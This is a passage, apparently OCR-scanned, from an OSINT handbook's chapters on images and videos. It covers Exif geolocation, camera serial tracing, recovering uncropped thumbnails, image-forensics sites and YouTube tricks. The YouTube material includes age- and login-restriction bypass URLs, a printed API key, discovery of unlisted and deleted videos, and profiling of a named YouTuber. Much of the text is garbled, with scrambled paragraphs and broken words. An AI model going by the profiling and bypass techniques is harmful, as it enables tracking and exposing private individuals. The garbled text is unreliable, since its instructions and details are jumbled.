target. Every' digital photograph captured with a digital camera possesses metadata known as Exif data. I have already explained several applications which extract this data from documents and images, but we need to have a better understanding of the technology. This is a layer of code that provides information about the photo and camera. All digital cameras write this data to each image, but the amount and type of data can vary. This data, which is embedded into each photo "behind the scenes", is not visible by viewing the captured image. You need an Exif reader, which can be found on websites and within applications. Keep in mind that some websites remove or "scrub" this data before being stored on their servers. Facebook, for example, removes the data while Flickr does not. Locating a digital photo online will not always present this data. If you locate an image that appears full size and uncompressed, you will likely still have the data intact. If the image has been compressed to a smaller file size, this data is often lost. Any images removed directly from a digital camera card will always have the data. I now know that my target possesses a Flickr account associated with the email address, the username for the account, and the unique user number which will never change. Next, assume that we only knew the username. The following URL could be submitted. Jeffrey’s Exif Viewer (exif.regex.info/exif.cgi) GPS result identifying location with map view. 344 Chapter 21 Lcn» FUth IDate: 90’ 3(r 0" Figure 21.04: A Jeffrey’s Exif Viewer niKta | Apple iPbciK 5 I Auto expouee. I'lopia AE.1 152 *ec. £2 4. ISO 50 I OH. Did not fur , .March 24, 20IJ 5 n «•>■» .. ; tooraw Ht Id;. Hlaal GXfTl | Latitude kuaitude JS» 30" 4 J 6" K^s. im.ltlanticCroimigDrne. Frivon. AtO 6)026. IX.1 1 consider Jeffrey's Exif Viewer the online standard for displaying Exif data. The site will allow analysis of any image found online or stored on a drive connected to your computer. The home page provides two search options. The first allows you to copy and paste an address of an image online for analysis. Clicking "browse" on the second option will open a file explorer window that will allow you to select a file on your computer for analysis. The file types supported are also identified on this page. The first section of the results will usually provide the make and model of the camera used to capture the image. Many cameras will also identify the lens used, exposure settings, flash usage, date and time of capture, and file size. In one example, I could see that the camera used was a Canon EOS Digital Rebel with an 18 - 55mm lens at full 55mm setting. Auto exposure was selected, the flash was turned off, and the photo was taken at 2:30 pm on May 7, 2011. Not all of this will be vital for the researcher, bur every bit of intelligence counts. Many new SLR cameras, and almost all cellular telephone cameras, now include GPS. If the GPS is on, and the user did not disable geo-tagging of the photos in die camera settings, you will get location data within the Exif data of the photo. Figure 21.04 (left) displays the analysis of an image taken with a camera with GPS. The data is similar to the previous analysis, but includes a new "Location" field. This field will translate the captured GPS coordinates from the photo and identify the location of the photo. Farther down this results page, die site will display an image from Google Maps identifying the exact point of the GPS associated with the photo. Figure 21.04 (right) displays this satellite view including a direction identifier. Since most cellular telephones possess an accelerometer, the device documents the direction die camera was facing. Most Android and iPhone devices have this capability’, ^our results will vary depending on the user's configuration of their GPS on the device. This is one of the reasons you will always want to identify the largest version of an image when searching online. The quickest way to see die information is through an online viewer. Scrolling down the analysis page will then identify many camera settings that probably provide little information to the researcher. These include aperture information, exposure time, sharpness, saturation, and other image details. Mixed in with this data is the serial number field. This is most common in newer SLR cameras and will not be present in less expensive cameras. These cameras usually identify the make, model, and serial number of the camera inside every photo that they capture. A serial number of a camera associated with an image can be valuable data. This can help an analyst associate other photos found with a target's camera. If an "anonymous" image was found online that included a serial number in the Exif data, and another image was found of a target of the investigation, these two photos can be analyzed. If the serial number as well as make and model of cameras match, there is a good likelihood that the same camera took both images. However, it is important to know that this data can be manipulated. Using software such as ExifTool, a user can modify this data. While this is not a popular tactic to use, it is still possible. Cropped Images Figure 21.05: A Jeffrey's Exif Viewer summary result displaying an original uncropped photo. Camera Trace (cameratrace.com/trace) Images 345 Real World Application: In a civil litigation, a subject claimed an injur}' that prohibited him from work, walking, and a normal life. The suit claimed damages from pain and suffering and sought a monetary judgment for future lack of ability to work. A brief scan of the subject's online photo album revealed fishing trips, softball games, and family adventure vacations. With Exif information data intact, exact dates, times, locations, and cameras were identified and preserved. The subject withdrew his lawsuit. This site was designed to help camera theft victims with locating their camera if it is being used by the thief online. For that use, you would find a photo taken with the stolen camera, and drop it into the previous site for analysis. This analysis identifies a serial number if available. If one is located, type the serial number into Camera Trace. It will attempt to locate any online photographs taken with the camera. This service claims to have indexed all of Flickr and 500px with plans to add others. A sample search using a serial number of "123" revealed several results. The website urges users to sign up for a premium sen-ice that will make contact if any more images appear in the database, but 1 have never needed this. Another piece of information that we can look for inside the Exif data is the presence of a thumbnail image within the photograph. Digital cameras generate a small version of the photo captured and store it within die Exif data. This icon size image adds very little size to the overall file. When a user crops the image, this original smaller version may or may not get overwritten. Programs such as Photoshop or Microsoft Photo Editor will overwrite the data and keep botii images identical. Other programs, as well as some online cropping tools, do not overwrite this data. The result is the presence of the original and uncroppcd image within the Exif data of the cropped photo. An example of this is seen in Figure 21.05. /\ cropped photo found online is examined through Jeffrey's Exif viewer. The cropped full-size large photo is seen on the left. The embedded smaller original photo was not overwritten when cropped. We can now sec what the image looked like before it was cropped. This technique has been used by police to identify child pornography manufacturers. These pedophiles will crop themselves out of illegal images to avoid identification. When photos of the children arc found by police, an original uncropped image may be enough to identify and prosecute a molester. This is not limited to law enforcement. Some tcch-sawy fans of television personality Catherine Schwartz examined a cropped photo on her blog in 2003. Inside the Exif data was the uncroppcd version which exposed her breasts and quickly made the rounds through the internet. We must remember this unfortunate lesson when we consider posting our own content to the internet. Online Barcode Reader (online-barcode-reader.inlitercsearch.com) information is hiding behind these interesting images. samples from Online Barcode Reader. Additional barcode identification options are as follows. Image Manipulation Foto Forensics (fotoforensics.com) 346 Chapter 21 Postal Barcodes Online Barcode (onlincbarcodereadcr.com) Zxing (zxing.org) Cogncx (manateeworks.com/ free-barcode-scanner) Online Decoder (online-barcode-readcr.com) Figure 21.06: Barcode input Q 1D Barcodes ■Ml DataMatrix PDF417 IIHIII OR Barcodes have been around for decades. They are the vertical lined images printed on various products that allow registers to identify the product and price. Today’s barcodes are much more advanced and can contain a large amount of text data within a small image. Some newer barcodes exist in order to allow individuals to scan them with a cell phone. The images can provide a link to a website, instructions for downloading a program, or a secret text message. I generally advise against scanning any unknown barcodes with a mobile device since malicious links could be opened unknowingly. However, an online barcode reader can be used to identify what This site allows you to upload a digital image. After successful upload, it will display the image in normal view. Below this image will be a darkened duplicate image. Any highlighted areas of the image indicate a possible manipulation. While this site should never be used to definitively state that an image is untouched or manipulated, investigators may want to conduct an analysis for intelligence purposes only. Figure 21.07 displays original and manipulated images while Figure 21.08 displays the analysis of the images from Foto Forensics. This site will provide an analysis of an image from die internet or a file uploaded from a computer. It is important to note that any images uploaded become part of the website's collection and a direct URL is issued. While it would be difficult for someone to locate the URL of the images, it could pose a security risk for sensitive files. Figure 21.06 displays die barcode search options from Online Barcode Reader. These include ID, PDF417, Postal, DataMatrix, QR, and ID barcodes. After selecting the type of barcode image, you can select any PDF, TIFF, JPEG, BMP, GIF, or PNG file on your computer up to 4Mb in size. This could be a photo that possesses a barcode in the content or a digital code downloaded from a website. Screen captures of codes also work well. While sitting on a plane with Wi-Fi, I captured a photo of an abandoned boarding pass in the magazine holder in front of me. The barcode reader identified text information stored inside the code that was not present in text on the document. It is common to find images on die internet that have been manipulated using software such as Photoshop. Often it is difficult, if not impossible, to tell if these photos have been manipulated by visually analyzing diem. A handful of websites use a technique to determine which portions of the photo have changed. Figure 21.07: An original photograph (left) mipulated image (right) on Foto Forensics. Forensically (29a.ch/photo-forensics) Images 347 https://intcltechniques.com/blog/2016/12/21/internet-search-resource-foresically/ compared to a manipulated photograph (right). Figure 21.08: The original photograph (left) and mat The Magnifier allows you to see small hidden details in an image. It does this by magnifying the size of the pixels and the contrast within the window. There are three different enhancements available at the moment: Histogram Equalization, Auto Contrast, and Auto Contrast by Channel. Auto Contrast mostly keeps the colors intact; the others can cause color shifts. Histogram Equalization is the most robust option. You can also set this to none. Forensically is a robust image analyzer that offers a huge collection of photo forensic tools that can be applied to any uploaded image. This type of analysis can be vital when image manipulation is suspected. Previous tools have offered one or two of the services diat Forensically offers, but this new option is an all-in-one solution for image analysis. Loading the page will present a demo image, which is used for this explanation. Clicking the "Open File" link on the upper left will allow upload of an image into your browser for analysis. Images arc NOT uploaded to the server of this tool; they are only brought into your browser locally. Figure 21.09 (left) is the standard view of a digital photo. The various options within Forensically are each explained and example images arc included. Due to the black & white environment of this book, I have replicated all of this instruction in color on my blog at the following address. The Clone Detector highlights copied regions within an image. These can be a good indicator that a picture has been manipulated. Minimal Similarity determines how similar die cloned pixels need to be to the original. Minimal Detail controls how much detail an area needs; dierefore, blocks with less detail than this are not considered when searching for clones. Minimal Cluster Size determines how many clones of a similar region need to be found in order for them to show up as results. Blocksize determines how big the blocks used for the clone detection arc. You generally don't want to touch diis. Maximal Image Size is the maximal width or height of the image used to perform the clone search. Bigger images take longer to analyze. Show Quantized Image shows the image after it has been compressed. This can be useful to tweak Minimal Similarin* and Minimal Detail. Blocks that have been rejected because they do not have enough detail show up as black. Figure 21.09 (right) demonstrates this output. Figure 21.09: A normal image view (left) and Clone Detector (right) in Forensically. 21.10 (left) displays manipulation. Figure 21.10: Error Level Analysis (left) and Noise Analysis (right) in Forensically. 348 Chapter 21 to be fe'C: Luminance Gradient analyzes the changes in brightness along the x and y axis of the image. It's obvious use is to look at how different parts of the image arc illuminated in order to find anomalies. Parts of the image which Level Sweep allows you to quickly sweep through the histogram of an image. It magnifies the contrast of certain brightness levels. To use this tool simply move your mouse over the image and scroll with your mouse wheel. Look for interesting discontinuities in the image. Sweep is the position in the histogram to be inspected. You can quickly change this parameter by using die mouse wheel while hovering over the image, this allows you sweep through the histogram. Width is the amount of values (or width of the slice of the histogram) to inspected. The default should be fine. Opacity is the opacity’ of the sweep layer. If you lower it you will see more of the original image. Noise Analysis is basically a reverse dc-noising algorithm. Rather than removing the noise it removes the rest of the image. It is using a super simple separable median filter to isolate the noise. It can be useful for identifying manipulations to the image like airbrushing, deformations, warping, and perspective corrected cloning. It works best on high quality images. Smaller images tend to contain too little information for this to work. Noise Amplitude makes the noise brighter. Equalize Histogram applies histogram equalization to the noise. This can reveal things but it can also hide them. You should try both histogram equalization and scale to analyze the noise. Magnifier Enhancement offers three different enhancements: Histogram Equalization, Auto Contrast, and Auto Contrast by’ Channel. Auto Contrast mostly’ keeps the colors intacr; the others can cause color shifts. Histogram Equalization is the most robust option. You can also set this to none. Opacity is the opacity of the noise layer. If you lower it you will see more of the original image. The result can be seen in Figure 21.10 (right). Error Level Analysis compares the original image to a rccompressed version. This can make manipulated regions stand out in various ways. For example, they can be darker or brighter than similar regions which have not been manipulated. ) PEG Quality should match the original quality of the image that has been photoshopped. Error Scale makes the differences between the original and the rccompressed image bigger. Magnifier Enhancement offers different enhancements: Histogram Equalization, Auto Contrast, and Auto Contrast by Channel. Auto Contrast mostly keeps the colors intact; the others can cause color shifts. Histogram Equalization is the most robust option. You can also set this to none. Opacity displays the opacity’ of the Differences layer. If you lower it you will see more of the original image. Figure 21.10 (left) displays manipulation. Figure 21.11: The Luminance analysis (left) and PCA analysis (right) within Forensically. Image Enlarging & Upscaling IMG Enlarger (imglarger.com) 349 Images MetaData displays any Exif metadata in the image. Geo Tags shows the GPS location where the image was taken, if it is stored in the image. Figure 21.12 displays the result. This option requires a free account, and only magnifies the overall image. It simply doubles everything in size. 1 have not found this extremely valuable. There may be times when you have an image of poor quality which you may wish to enhance. Typically, this is not advised since you may be manipulating evidence, but there are scenarios where this may be justified. A blurry’ image of a license plate or address could warrant the manipulation of an image for clarity. Let's look at two options. The next time you identify’ a digital image as part of your online investigation, these tools will peek behind the scenes and may display evidence of tampering. Thumbnail Analysis shows any hidden preview image inside the original image. The preview can reveal details of the original image or the camera used. Figure 21.13 displays the online image (left) while the original thumbnail displays a different view (right). are at a similar angle (to the light source) and under similar illumination should have a similar color. Another use is to check edges. Similar edges should have similar gradients. If the gradients at one edge are significantly sharper than the rest it's a sign that the image could have been copied and pasted. It does also reveal noise and compression artifacts quite well. Figure 21.11 (left) displays this view. PCA performs principal component analysis on the image. This provides a different angle to view the image­ data which makes discovering certain manipulations and details easier. This tool is currently single threaded and quite slow when running on big images. Choose one of the following Modes: Projection of the value in the image onto the principal component; Difference between the input and the closest point on the selected principal component; Distance between the input and the closest point on the selected principal component; or the closest point on the selected principal Component. There are three different enhancements available: Histogram Equalization, Auto Contrast, and Auto Contrast by Channel. Auto Contrast mostly keeps the colors intact; the others can cause color shifts. Histogram Equalization is the most robust option. You can also set this to none. Opacity is the opacity’ of the sweep layer. If you lower it you will see more of the original image. Figure 21.11 ’ • • IMG Upscaler (imgupscaler.com) .. 3 493 Figure 21.12: Metadata from Forensically. I Figure 21.13: An online image (left) and original thumbnail image (right) IntelTechniqucs Images Tool 350 Chapter 21 SONY ILCE6000 300 300 2 darktable 1.6.6 2015 38:14 13:32:39 2 22.0.0 N 47.35 2U Thu Jul 31 2014 09:05:43 GMT 0700 (PDT) 22.0.0 47.3530 E 8 4980 Z...— . • View on OnonSrreenMan • V:<»w on Grv)"*e Maps • OtTy lmy.es around hgreon Fbcu GPSVersionlD GPSLatitudeRef GPSLatJtude GPSLongitudeRef E GPStongitude on Forensically. This option does not require an account and uses various software programming to truly enhance an image. In 2021,1 uploaded a blurry vehicle with a license plate which barely identified half of die digits. This tool clarified two additional digits which led to die discovery of the full registration. I do not recommend manually typing this all into a web browser. It would be more efficient to navigate to each image search site and paste the photo URL. However, 1 have created an online tool that automates this entire process. The first search options replicate the reverse-search techniques explained for Google, Bing, TinEye, andex, Baidu, and KarmaDecay. The final option on this page executes keyword searches across all popular networks into separate tabs on your browser. Figure 21.14 displays the current state of this tool. Make Model Orientation XResolution YResoluuon Resolutionunit Software ModifyDate YCbCrPosltlonlng Rating RatingPercent DatefimeOriginal GPSVersionlD GPSLatitudeRef GPSLatitude GPSLongitudeRef GPSLongitude r IntelTechniqucs Tools Search Engines Facebook Twitter Instagram ][ [Entire Image URL Linkedln Communities Populate All Email Addresses Search Terms Usernames Search Terms Search Terms Names Search Terms Telephone Numbers Search Terms Maps Documents Pastes ] ][ Submit All Videos r Domains IP Addresses Business & Government Virtual Currencies Data Breaches & Leaks OS1NT Book License Figure 21.14: The IntelTechniqucs Images Tool. Images 351 Reverse Image Search: Entire Image URL Entire Image URL Entire Image URL Entire Image URL Entire Image URL Entire Image URL Images Search: [Search Terms Search Terms Search Terms Search Terms Search Terms Username User Number F~ Google____ ) I________ Bing 1 J TtnEye '______ Yandex j Baidu | KarmaDecay Search Terms Flickr API: Email Address Google Images ; Bing Images j Yandex Images [ Twitter Images j [ Facebookimages | I Instagram Images j [ Linkedln Images | [ Flickr Images | [ Tumblr Images j Email Search j Username Search | User # Search ~j 352 Chapter 22 YouTube (youtube.com) Bypass Age and Login Restriction https://www.youtube.com/watch?v=SZqNKAd_gT\v We can now append the beginning of this URL with " https://keepvid.works/?url=", as follows. Videos 353 Ch a pt e r Tw e n t y -Tw o Vid e o s Many people use YouTube as a social network, leaving comments about videos and participating in discussions about various topics. If you locate a video of interest, it is important to also retrieve this text information. Each comment below a video will include the username that created the comment, which will link to that user’s profile. Online videos may now be more common than online photographs. The cameras in smart data phones can act as video cameras. In some situations, uploading a video to the internet is easier than a photograph. Most social networks now act as independent video hosts for their platforms. Video sharing sites such as YouTube have made video publication effordess. For investigations, a video can contain a huge amount of intelligence. When any abnormal event happens, people flock to their phones and start recording. These videos may capture criminal acts, embarrassing behavior, or evidence to be used in a civil lawsuit. Obtaining these videos is even easier than creating them. Several YouTube videos have been tagged as violent, sexual, or otherwise inappropriate for young viewers. Others demand that you log in to a Google account in order to view the content for unclear reasons. Either way, this is an unnecessary roadblock to your investigation. As an OS1NT investigator, I prefer to not be logged in to any personal or covert account while I am researching. Any time you are searching through a Google product while logged in to an account, Google is documenting your ever}7 move. This can be unsetding. One easy technique should remove this restriction. Navigate to the folloxring website and notice the inability to view the video. If you are not logged in to a Google account with a verified age, you should see a warning about mature content. This video cannot be played. A search for "school bus fight" returned over 500,000 xddeo links on YouTube. Adding a search term such as the city or school name may help, but it may also prohibit several wanted xddeos from appearing. The "Filter" option can be expanded to help limit the search scope. This button is above the first video result. This provides additional filter options including the ability to sort by the upload date (date range), type (video x7s. channel), duration (short or long), and features (video quality). In the "school bus fight" example, the "uploaded this week" option was chosen. This resulted in only 700 videos which could easily be examined for any intelligence. The lower left portion of any video page includes a link to the profile of the user who submitted this video. This profile page includes all of the videos uploaded by that user and additional profile information. Several YouTube "hacks" have surfaced over the years. Many of these stopped working as YouTube made changes to the environment. Of those still functioning, I find the following techniques helpful to my investigations. The most popular xtideo-sharing site is YouTube. The official YouTube site declares that 500 hours of video are uploaded every minute, resulting in nearly 80 years of content uploaded ever}7 day. It further states that over a billion x'ideos are viewed each day. These impressive statistics confirm the need to include videos as part of a complete OSINT analysis. YouTube is easy to search from the main search field on ever}7 page. This field can accept any search term and will identify x'ideo content or username. Users that upload videos to YouTube have their own "channel". Their videos are uploaded to this channel, and locating a user's channel will identify the videos uploaded by that user. ! https://keepvid.works/?url=https://ww'w.youtube.com/watch/v—SZqNKAd_gTw Bypass Commercials with Full Screen http:/ / www.youtube.com/watch?v=IEIWdEDFlQY https://www.youtube.com/embed/IEIWdEDFlQY Display Thumbnails of Videos https:/ / www.youtube.com/watch?v=1 nm 1 jEJ mOTQ https://Lytimg.eom/vi/l nml jEJmOTQ/maxresdefault.jpg Furthermore, we can extract four unique frames with the following URLs. Identify and Bypass Country Restriction http://youtube.com/watch?v=cgEnBkmcpuQ 354 Chapter 22 Using that same video ID, navigate to the following address to view the main still frame. This is the image visible when a video is loaded within YouTube before playing. In a moment, our tools will query’ all of dtese images for download and reverse image searching. The address that displayed the main image is not your only’ option. An additional high-resolution image can usually’ be extracted from this specific video with the following address. https://img.youtube.eom/vi/lnmljEJmOTQ/0.jpg https://img.youtube.com/vi/1 nml jEJ mOTQ/1 .jpg https://img.youtube.eom/vi/lnmljEJmOTQ/2.jpg https://img.youtube.com/vi/Inml jEJ mOTQ/3. jpg It seems lately that every’ long YouTube video I play possesses a 30 second commercial at the beginning. This is very’ frustrating when analyzing a large number of videos. The same URL trick will byqaass this annoyance. Navigate to the following address and notice the commercial at the beginning. Clicking "Download” should present the video directly’ from YouTube. The URL will be quite long. Please be warned that the content in this example contains very’ disturbing video, hence the blockage by YouTube. Alter this address slightly in order to force the video to play in full screen in your browser. This will also bypass any commercials. The URL should appear like the following. Many videos on YouTube are allowed to be viewed in some countries and blocked in others. If y'ou encounter a video that will not play’ for y’ou because of a country’ restriction, you have options. We will use the following video as a demonstration. https://Lytimg.com/vi/lnml jEJmOTQ/hqdefault.jpg When a user uploads a video, YouTube captures and displays a frame for that media. This is the still frame you see w’hen searching videos and before a video is played. These possess a static URL, which will be helpful when we discuss reverse video searching. As an example, navigate to the following address to load a demo video. http://polsy.org.uk/ stuff/ytrcstrict.cgi?ytid=cgEnBkmcpuQ https://watannetxvork.com/tools/blocked/#url=cgEnBkmcpuQ YouTube Metadata AIzaSyDN ALbu V1 FZSRy 6J pafwUaV_taS W12wZw Videos 355 I suspect this key will be abused and disabled Creating your own key prevents outages. We can https://www.googleapis.com/youtube/v3/videos?id=cgEnBkmcpuQ&part=snippet,statistics,recordingDetail s&key=AIzaSyDNALbuV 1 FZSRy6JpafwUaV_taSW12wZw Visiting this URL from a U.S. IP address should present" Video unavailable - The uploadcr has not made this video available in your country". Before proceeding, consider identifying from which geographical areas a video is restricted. After you have identified a video with possible country restrictions, paste the video ID into the following URL. Our video ID is cgEnBkmcpuQ. "publishcdAt": "2012-07-24T18:33:57Z", "channelld": "UCP6YCSvxq2HEX33Sd-iC4zw", "viewCount": "656405279", "likeCount": "1421566", "dislikeCount": "717133", "favoriteCount": "0", "commentCount": "1173" This presents a text-only view of all metadata associated with the target video (cgEnBkmcpuQ). While any YouTube video page displays estimated dates, like, dislikes, and comment counts, the metadata is more precise. The following is partial data extracted from our demonstration. I believe ever)' YouTube investigation should document all metadata. The result is a page with a world map. Countries in grey are allowed to view the target video while countries in red are not. Another service which replicates this is WatanNetwork. The following URL displays their map. https://i.ytimg.com/vi/cgEnBkmcpuQ/hqdefault.jpg https://i.ytimg.com/vi/cgEnBkmcpuQ/maxresdefaultjpg at some point, bur I will keep the key used in the tools updated, now use this for tire following query based on our target video. While I cannot natively play this video due to my location, I can easily view the default and high resolution still frames with the technique described in the previous section. The following exact URLs display content otherwise not viewable. Most of the details of a YouTube video can be seen on the native page where the video is stored. Occasionally, some of this data may not be visible due to privacy settings or profile personalization. In order to confirm that you are retrieving all possible information, you should research the data visible from YouTube's servers. The most comprehensive way to do this is through Google’s YouTube API. Any Google account can request a free API key from Google at developers.google.com. You will need to create a new project and enable a YouTube API key. For your convenience and the search tools, I have already created the following key. If a video is blocked from playing in your location, you can usually use a VPN which should allow viewing. Identify which countries are not blocked using the previous methods and select a server in one of those areas. The internet is full of "YouTube Proxy" websites which promise to play any blocked video, but I have found them to be unreliable. YouTube Profiles https://www.youtube.com/feeds/videos.xml?user=SnubsieBoo This text-only page presented a lot of data, but 1 am most interested in the following. yt3.ggpht.com/ytc/AAUvwnix3Pc9x9SX4z85pV6MtKGGTndGxIGqV8__dWJ9bsPw=s800-c Reverse Image Search 356 Chapter 22 1 i <published>2020-11-21T15:00:05+00:00</published> <updated>2020-ll-21T15:00:05+00:00</updated> <media:starRating count="48" average="4.75" min="l" max="5"/> <media:statistics views="374"/> These details tell us her Channel ID assigned to her username and the exact date and time she created her YouTube account. All of this should be documented within our investigation. After this content, you can see the metadata of each video, which includes the following. https://www.google.com/searchbyimage?site=search&sa=X&image_url=https://i.ytimg.com/vi/cgEnBkmc puQ/maxresdefaultjpg https://youtube.googleapis.com/youtube/v3/channels?part=snippet&id=UCNofX8wmSJh7NTklvMqueOA &key=AIzaSyDN ALbuVl FZSRy6JpafwUaV_taSW12wZw You learned about reverse image searching in the previous chapter. Since YouTube allows us to extract frames from any video without playing the video itself, we can easily automate reverse image searching of those images. We already know that the maximum resolution image for our target video is available at https:/7i.ytimg.com/vi/cgEnBkmcpuQ/maxresdefault.jpg. Therefore, the following URL would conduct a reverse image search via Google, which should identify additional copies of this video. The Videos Tool will replicate this across Bing, Yandex, and TinEye using the methods explained in previous chapters. <name>Shannon Morse</name> <yt:channelId>UCNofX8\vmSJh7NTklvMqueOA</yt:channclId> <Unk="https://ww'w.youtube.com/channel/UCNofX8\vmSJh7NTklvMqueOA"/> <published>2006-08-16T23:23:03+00:00</published> This tells us the exact creation and modification times of each video along with viewer details. Again, this text can be helpful in our report. If you created your own API key as explained in the previous page, you can query more details. The following uses my own key and her Channel ID. The results tell us she is in the United States ("country": "US") and has a custom YouTube URL at https://www.youtube.com/ShannonMorse f'customUrl": "shannonmorse"). Finally, we can retrieve a full-size image of her profile photo within this code. The following URL appears after "High". This links to a high- resolution (800x800) image of her profile picture, which is otherwise only available as a 160x160 icon. All of the search options on this page are available in the Videos Tool presented later. If you ever locate a video of interest, you should investigate the profile which hosts the content. As stated earlier, even' YouTube video is associated with a profile. Clicking the uploaders name directly below a video should display this content. However, the profile page displays only a portion of available results. Let's conduct a demonstration. Assume you have identified a suspect video which is associated with the profile at https://www.youtube.com/user/SnubsieBoo. Viewing this page tells you that she has approximately 35,000 subscribers and videos. However, we can dig deeper into her account with the following URL. Immediate Download Options http://www.youtubc.com/watchPv— OmZyrynlk2w. Now, add "deturl.com/" YouTube Comments YouTube Channel Crawler (channelcrawler.com) Figure 22.01: Channel results on YouTube Channel Crawler. Videos 357 Guns cf Boo'll player... Pooplo a BIOQS Gunsiomortti Entartalnmont https://derurl.com/www.youtubc.com/watchh'-OmZyrynlkZw BVceoa JohDiw: 11643)18 Exam pl® Video: tbatf rcaSysxd Example VMm: Hj. to tcha a shape chitj .->9. Jen Data: l2E2in:6 Example Video: Spna t« bcat.cn car,- 6 got hi... You will be presented a new page with many options including the ability to download the video; download only the audio; convert the video to a different format; and bypass the age restriction as discussed earlier. Additional options include yout.com, keepvid.com, and y2mate.com. Gunsarefun 4 P i Pc°P!o4ttt‘s« to the beginning, as indicated in the following address. guns guns 25 Eub’cnPWS 31 VWw> Jem Dal* 21.107016 Example Video: This URL presents 305 results, including links to the target video available within dozens of additional video platforms. While this works well on YouTube videos, complete reverse video searching across multiple networks will be explained later in this chapter. The search tools presented at the end automates all of these techniques. My preferred method for extracting YouTube and other online videos was explained in previous chapters while discussing YouTube-DL and yt-dlp within a Linux, Mac, or Windows OSINT machine. This will always be the most stable and reliable option, and you should be proficient with the video download strategies explained within Chapter Four. However, if you have no software or browser plugins available to you, there is another easy option. While you are watching any YouTube video, you can add "deturl.com/" to the address in order to download the video to your computer. To test this, navigate to the following. As a reminder, the Video Download Tool previously presented for Linux, Mac, and Windows possesses YouTube-Tool, which extracts comments from video pages. I believe this type of documentation should be a part of every investigation associated with a YouTube video. Instead, we can find these lesser-known collections with YouTube Channel Crawler. Let's conduct an example demonstration. 1 queried the term "Guns" within YouTube, clicked the filters option, and chose to only display Channels. 1 received numerous results, and every Channel featured over 100,000 subscribers. I would never find my target there. Now, let's use our crawler. I chose the term of "Guns", no limit to the results, a maximum of 40 subscribers and 40 total views, and did not specify a date can see, these Channels receive very little attention, but were As previously explained, anyone can search YouTube and filter by Channels. This allows you to only see results which possess one or more videos within a designated Channel. Unfortunately, the results place emphasis on the most popular channels. Within an investigation, it is much more likely that your target will not have thousands of views or followers. Instead, a channel with no subscribers is more common. Finding these poorly- visited channels is quite difficult with official search options. range. Figure 22.01 displays partial results. As you at the top of my results due to the filters I applied. YouTube Unlisted Videos site:youtube.com "This video is unlisted" intide:osint Google Videos (google.com/videohp) Yandex Videos (yandex.com/video) 358 Chapter 22 1 YouTube videos can be classified as "Public", "Private", or "Unlisted". Public videos appear within YouTube search results; private videos require an invitation from the host; and unlisted videos sit in between. Unlisted videos will not appear within search results, but they can be seen by anyone possessing the direct URL. There are two methods to discover unlisted videos. First, we can conduct a search on Google such as the following. This can be unreliable, as it presents videos which contain "This video is unlisted" within the description provided by the uploader. I find Unlisted Videos (unlistedvideos.com) to be more reliable. Conduct a keyword search on this site to identify videos which are unlisted and not present within search results. YouTube is not the only video sharing service on the internet Wikipedia identifies dozens of these sites, but searching each of them can become tedious. These sites are no longer restricted to pages of video files with standard extensions such as mp4, mpg, and flv. Today, sendees such as Instagram allow embedded videos which do not conform to yesterday's video standards. Many new sendees present the viewer with animated gif files that only appear as true videos. Fortunately, search engines like Google, Bing, and Yandex offer a search across all of the types. In 2020, Yandex's video search option became a contender for OSINT usage. While Google an mg are constantly removing videos, which violate their policies associated with violent and inappropriate content, Yandex seems to allow anything. Similar to my recommendations for general search and images, an ex Videos should always be queried when researching any video file. Direct query' URLs for all three services follows. https://www.google.com/search?tbm=vid&q=osint https:/1 www.bing.com/videos/search?q=osint https://yandex.ru/video/search?text=osint 3 milli Sjh°°l bus fight returned over 500,000 results. However, Google Videos returned • rk« feS k711050 ;ncludc the results identified in the previous YouTube search plus any videos from other and c i C. searc cnteda. This will often lead to duplicate videos that have been posted by' news websites The ron env°r s' oogle can ®ter these results by' duration time, date and time captured, and video source. _trppf LJnU °77 G c?8 6 Vj.de° rcSultS page xviU ^P’aythese oP°ons. A Google search for the term "female returned n ' ^nn °f v’deos "dth a short duration that were posted this week from any source, still frame to determine H i052 res^Jts.COldd e*t^ier he further filtered with search terms or quickly viewed by Bing Videos (videos.bing.com) viewing a m^S B*ng a favorite site for searching videos is the instant video playback option. When nlavharL- fit! ^k50^ • rcsidts PagC’ simpfy hovering the cursor over the video still shot will start the video tn ■ k ,egln"InS of the video. This eliminates the need to navigate to each video page for playback the mnTfIne “k Bing dso offers fikering bv lcngth and source. The "select view" toolbar at WheZr A. rCSU C PagC WiU aUow >,ou to sort the results by cither the best match or the most recent k dedern °°g5 Or b*ng to locate videos, I recommend turning off the safe search feature. This feature types ofvideos^hatare S°me J’deos ^di adult content from displaying. With investigations, it is often these Social Network Videos Deleted Videos https://www.youtube.com/watchPv-9ZmsnTDLykk https://web.archive.org/web/https://www.youtube.com/watch?v=9ZmsnTDLykk https://web.archive.Org/web/2oe_/http://wayback-fakeurl.archive.org/yt/9ZmsnTDLykk Reverse Video Searching Videos 359 The Internet Archive has been mirroring YouTube videos for years and often possesses their own independent copies. We can look for this with the following URL. When you locate videos embedded within social networks, use the previous methods to download any evidence. I always start with the Video Download Tool. If it is a live stream, I use the Video Stream Tool. If neither are available or functioning, browser extensions may work. If you get desperate, try various free third-part}’ tools such as Twitter Video Downloader (twittervideodownloader.com), FDown (fdown.net), and Instagram Downloader (igram.io). It has become very common for people to attention is generated and the had many successes within my YouTube. remove their YouTube videos. This often happens when unwanted user regrets the post. The following technique wall not always work, but I have own investigations. Consider the following video which has been removed from Google, Bing, and Yandex index social networks for video pages, but these search engines can never replicate internal queries through popular networks such as Twitter, Facebook, Reddit, and others. We should always consider a keyword search direcdy within these services. The following assumes "osint" is your search term and provides a direct URL for each network query. Twitter: https://twitter.com/search?q=osint&f=video Facebook: https://www.facebook.com/search/videos/?q=osint Reddit: https://www.rcddit.com/scarch?q=site:v.redd.it%20AND%20osint TikTok: https://www.tiktok.com/tag/osint There was a brief mention earlier of conducting a reverse image search on the still captures of a YouTube video. This would use the same techniques as mentioned in Chapter Twenty-One for images. While there is no official reverse video search option, applying the techniques to still captures of videos can provide amazing results. This method is not limited to YouTube. We can conduct reverse image searches on videos from many sites. As the popularity of online videos is catching up to images, we must always consider reverse video searches. They will identify additional websites hosting the target videos of interest. Before explaining the techniques, consider the reasons that you may want to conduct this type of activity. This identifies 276 captures of this video page. However, these are HTML archives, and the video will not play within any of them. These pages are beneficial for locating comments associated with your target video, but not for the video content itself. We can use the following URL to play the full resolution version of the archived video. We can now right-click on the video to save our own offline copy. You would only need to replace your target YouTube video ID with the one listed here (9ZmsnTDLykk). Our search tools will replicate this for you at the end of the chapter. https://i.vimeocdn.com/video/513053154 360 Chapter 22 YouTube: As explained earlier, YouTube offers four sdll frames for every video uploaded plus a high-resolution image. Obtain the URLs oudined during that instruction, and provide each to Google, Bing, Yandex, TinEyc, and 